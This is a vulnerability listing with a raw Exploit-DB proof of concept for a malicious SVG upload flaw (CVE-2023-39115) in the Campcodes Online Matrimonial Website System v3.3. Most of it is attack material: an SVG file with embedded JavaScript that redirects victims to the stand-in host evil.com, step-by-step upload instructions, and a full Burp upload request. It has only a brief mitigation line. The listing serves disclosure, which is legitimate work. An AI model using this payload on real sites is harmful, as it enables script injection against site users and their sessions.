Online Matrimonial Website System v3.3 - Code Execution via malicious SVG file upload

vendor:

Online Matrimonial Website System

by:

Rajdip Dey Sarkar

9.8

CVSS

CRITICAL

Arbitrary file upload

434

CWE

Product Name: Online Matrimonial Website System

Affected Version From: 3.3

Affected Version To: 3.3

Patch Exists: NO

Related CWE: CVE-2023-39115

CPE: a:campcodes:online_matrimonial_website_system:3.3

Metasploit:

Other Scripts:

Platforms Tested: Windows, Kali

2023

Online Matrimonial Website System v3.3 – Code Execution via malicious SVG file upload

An arbitrary file upload vulnerability in Campcodes Online Matrimonial Website System Script v3.3 allows attackers to execute arbitrary code via uploading a crafted SVG file.

Mitigation:

Implement proper file upload validation and filtering. Restrict file types and enforce strict file size limits. Use content-disposition header to control how files are handled.

Source

Exploit-DB raw data:

# Exploit Title: Online Matrimonial Website System v3.3 - Code Execution via malicious SVG file upload
# Date: 3-8-2023
# Category: Web Application
# Exploit Author: Rajdip Dey Sarkar
# Version: 3.3
# Tested on: Windows/Kali
# CVE: CVE-2023-39115



Description:
----------------

An arbitrary file upload vulnerability in Campcodes Online Matrimonial
Website System Script v3.3 allows attackers to execute arbitrary code via
uploading a crafted SVG file.


SVG Payload
------------------

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"
stroke="#004400"/>
   <script type="text/javascript">
      alert("You have been hacked!!")


      window.location.href="https://evil.com"
   </script>
</svg>


Steps to reproduce
--------------------------

 -Login with your creds
 -Navigate to this directory - /profile-settings
 -Click on Gallery -> Add New Image -> Browser -> Add Files
 -Choose the SVG file and upload done
 -Click the image!! Payload Triggered


Burp Request
-------------------

POST /Matrimonial%20Script/install/aiz-uploader/upload HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-CSRF-TOKEN: I5gqfipOOKWwI74hfdtFC2kpUP0EggWb8Qf7Xd5E
Content-Type: multipart/form-data;
boundary=---------------------------167707198418121100152548123485
Content-Length: 1044
Origin: http://localhost
Connection: close
Referer: http://localhost/Matrimonial%20Script/install/gallery-image/create
Cookie: _session=5GnMKaOhppEZivuzZJFXQLdldLMXecD1hmcEPWjg;
acceptCookies=true; XSRF-TOKEN=I5gqfipOOKWwI74hfdtFC2kpUP0EggWb8Qf7Xd5E
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------167707198418121100152548123485
Content-Disposition: form-data; name="relativePath"

null
-----------------------------167707198418121100152548123485
Content-Disposition: form-data; name="name"

file (1).svg
-----------------------------167707198418121100152548123485
Content-Disposition: form-data; name="type"

image/svg+xml
-----------------------------167707198418121100152548123485
Content-Disposition: form-data; name="aiz_file"; filename="file (1).svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"
stroke="#004400"/>
   <script type="text/javascript">
      alert("You have been hacked!!")


      window.location.href="https://evil.com"
   </script>
</svg>
-----------------------------167707198418121100152548123485--